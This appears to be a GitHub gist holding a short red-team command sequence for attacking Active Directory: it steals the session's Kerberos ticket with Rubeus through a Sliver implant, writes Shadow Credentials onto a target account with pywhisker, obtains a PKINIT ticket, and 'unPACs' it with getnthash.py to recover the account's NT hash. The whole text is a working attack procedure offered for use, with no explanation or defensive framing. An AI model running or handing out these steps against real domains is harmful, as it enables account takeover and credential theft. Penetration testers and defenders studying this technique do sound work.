Skip to content

Instantly share code, notes, and snippets.

@zimnyaa
Created March 21, 2022 09:45
Show Gist options
  • Save zimnyaa/82c045ed5888a00dd0c8bf68d9ba04c3 to your computer and use it in GitHub Desktop.
Save zimnyaa/82c045ed5888a00dd0c8bf68d9ba04c3 to your computer and use it in GitHub Desktop.
ShadowCredentials + unPAC the hash
# getting the current ticket
sliver (SESSION) > rubeus tgtdeleg /nowrap
echo <ticket> | base64 --decode > ticket.kirbi
ticketConverter.py ticket.kirbi ticket.ccache
# adding ms-KeyCredentialLink
proxychains4 python3 pywhisker/pywhisker.py -k -d "domain" --target "dcagent" -u "dadmin" --action "add" --filename cert
# requesting a ticket with ShadowCredentials
proxychains4 python3 gettgtpkinit.py -cert-pfx ../cert.pfx -pfx-pass pass -dc-ip dc1.domain domain/dcagent dcagent.ccache
# UnPAC the ST
export KRB5CCNAME=dcagent.ccache
proxychains4 python3 getnthash.py -key <key> "domain/dcagent"
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment